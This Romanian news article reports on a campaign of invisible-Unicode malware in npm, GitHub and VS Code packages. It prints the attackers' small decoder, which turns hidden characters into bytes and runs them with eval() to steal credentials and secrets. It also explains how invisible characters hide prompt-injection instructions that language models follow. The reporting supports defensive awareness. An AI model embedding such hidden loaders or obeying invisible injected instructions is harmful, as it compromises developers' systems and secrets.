O nouă metodă a hackerilor de a infesta AI cu cod invizibil pentru ochiul uman și de a transmite executabile malware
Postat la: 20.03.2026 19:27 | Scris de: ZIUA NEWS
Codul invizibil este redat folosind zonele de utilizare privată (denumite uneori „acces de utilizare privată"), care sunt intervale din specificația Unicode destinate caracterelor speciale rezervate pentru uz privat în definirea emojilor, a steagurilor și a altor simboluri. Punctele de cod reprezintă fiecare literă a alfabetului american atunci când sunt introduse în computere, dar rezultatul lor este complet invizibil pentru ochiul uman. Persoanele care revizuiesc codul sau utilizează instrumente de analiză statică văd doar spații albe sau linii goale. Pentru un interpret JavaScript, punctele de cod se traduc în cod executabil.
Caracterele Unicode invizibile au fost concepute cu zeci de ani în urmă și apoi au fost în mare parte uitate. Asta până în 2024, când hackerii au început să folosească aceste caractere pentru a ascunde solicitări rău intenționate introduse în motoarele de IA. Deși textul era invizibil pentru oameni și scanerele de text, modelele de limbaj mare (LLM) nu au avut mari probleme în a le citi și a urma instrucțiunile rău intenționate pe care le transmiteau. De atunci, motoarele de IA au conceput măsuri de protecție menite să restricționeze utilizarea acestor caractere, dar astfel de apărări sunt periodic ocolite.
De atunci, tehnica Unicode a fost utilizată în atacuri malware mai tradiționale. Într-unul dintre pachetele analizate de Aikido în postarea de vineri, atacatorii au codat o sarcină utilă rău intenționată folosind caracterele invizibile. Inspecția codului nu arată nimic. Cu toate acestea, în timpul rulării JavaScript, un mic decodor extrage octeții reali și îi transmite funcției eval().
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString(«utf-8»));
„Șirul de caractere backtick transmis către s() pare gol în orice vizualizator, dar este plin de caractere invizibile care, odată decodate, produc o sarcină utilă completă și rău intenționată", a explicat Aikido. „În incidentele anterioare, acea sarcină utilă decodată a preluat și a executat un script de a doua etapă folosind Solana ca canal de livrare, capabil să fure token-uri, credențiale și secrete."
De când au descoperit noua serie de pachete pe GitHub, cercetătorii au găsit altele similare pe npm și pe piața VS Code. Aikido a spus că cele 151 de pachete detectate reprezintă probabil o mică fracțiune răspândită în cadrul campaniei, deoarece multe au fost șterse de la prima încărcare.